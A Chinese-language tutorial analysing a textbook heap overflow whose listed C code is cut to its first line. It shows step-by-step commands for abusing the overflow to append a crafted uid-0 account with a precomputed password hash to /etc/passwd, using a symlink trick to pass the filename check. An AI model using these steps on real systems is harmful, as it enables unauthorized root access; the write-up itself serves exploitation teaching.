漏洞代码
1 | #include <stdio.h> |
简单分析
- 这段代码程序中有两个buffer是存放在堆上面的,这个程序会接收一个参数,并将参数最终写入到/var/notes 这个文件中。
- 如图所示我们可以计算出两个buffer地址之间的距离是0x70(即112个字节),我们知道第一个buffer是以null为结束的,当我们写入这个buffer长度为112个字节的时候,那么第二个buffer将会被写入到datafile这个buffer开始的部分。
- 如我们所预期的,第二个buffer被我们写入了空.那么如果被覆盖的不是null,而是其他的呢?会是什么情况
- 这次,溢出导致第一个buffer写入到了当前文件下的testfile文件中,而不再是/var/notes 这个文件中 ,可以看到当使用free释放内存的时候报错了,这个其实就类似于栈溢出覆盖了返回地址一样。
漏洞利用
- 从上面可以看出,文件名可以控制,而且可以append到文件中。这里可能会有几种利用的方式,其中最常见的利用方式就是写文件/etc/passwd,这个文件包含了系统的所有的用户名、ID、登录的shell等信息(对这个文件操作之前请注意先备份O!)
- 这个文件是以分号分隔开的,依次是登录名、密码、用户ID、组ID,用户名、用户的根目录以及登录的shell,其中密码处可以是x(代表加密,存放在/etc/shadow文件中),也可以直接是加密后的密文,此外用户id为0代表用户会是root的权限,这个时候我们的目标就是在这个文件中追加一条,一个带有密文且id为0的账号。
- 关于密码加密我们可以使用下面的命令
1
2xxx@ubuntu:~/Desktop/heapoverflow$ perl -e 'print crypt("M0rk", "AA"). "\n"'
AAhmo1jgYI0HE
所以我们最终想要在passwd文件中的条目大概是这个样子的
myroot:AAhmo1jgYI0HE:0:0:me:/root:/bin/bash
然而,这个特殊的堆溢出并不允许我们直接这么操作,因为我们必须以/etc/passwd为结束,但是这个限制我们可以使用符号链接来”绕过”,”绕过”方法如下
1
2
3
4xxx@ubuntu:~/Desktop/heapoverflow$ mkdir /tmp/etc
xxx@ubuntu:~/Desktop/heapoverflow$ ln -s /bin/bash /tmp/etc/passwd
xxx@ubuntu:~/Desktop/heapoverflow$ ls -l /tmp/etc/passwd
lrwxrwxrwx 1 xxx xxx 9 Nov 16 20:56 /tmp/etc/passwd -> /bin/bash这个时候/tmp/etc/passwd指向了/bin/bash,这就意味着我们有了可登陆的shell,这个时候就变成了
myroot:AAhmo1jgYI0HE:0:0:me:/root:/tmp/etc/passwd- 此外这里还需要计算一下me这里需要填充多长才能满足112个字节。
1
2
3
4
5
6
7
8
9xxx@ubuntu:~/Desktop/heapoverflow$ echo "myroot:AAhmo1jgYI0HE:0:0::/root:/tmp" |wc -c
37
xxx@ubuntu:~/Desktop/heapoverflow$ bc
bc 1.06.95
Copyright 1991-1994, 1997, 1998, 2000, 2004, 2006 Free Software Foundation, Inc.
This is free software with ABSOLUTELY NO WARRANTY.
For details type `warranty'.
112-37+1
76
- 如上图所示,通过堆溢出成功添加了账号并登陆。
小结
- 这里只是举例了一个发生在堆内存上的溢出漏洞,并没有涉及到像是unlink或者UAF等技巧(后面有时间再研究分享),但像是通过写/etc/passwd以及软链接的trick还是不错的。
reference
- 《hacking the art of exploitation》chapter 0x340
- Dance In Heap(二):一些堆利用的方法(上)
- 堆溢出之unlink的利用
- Linux堆内存管理深入分析
- The Heap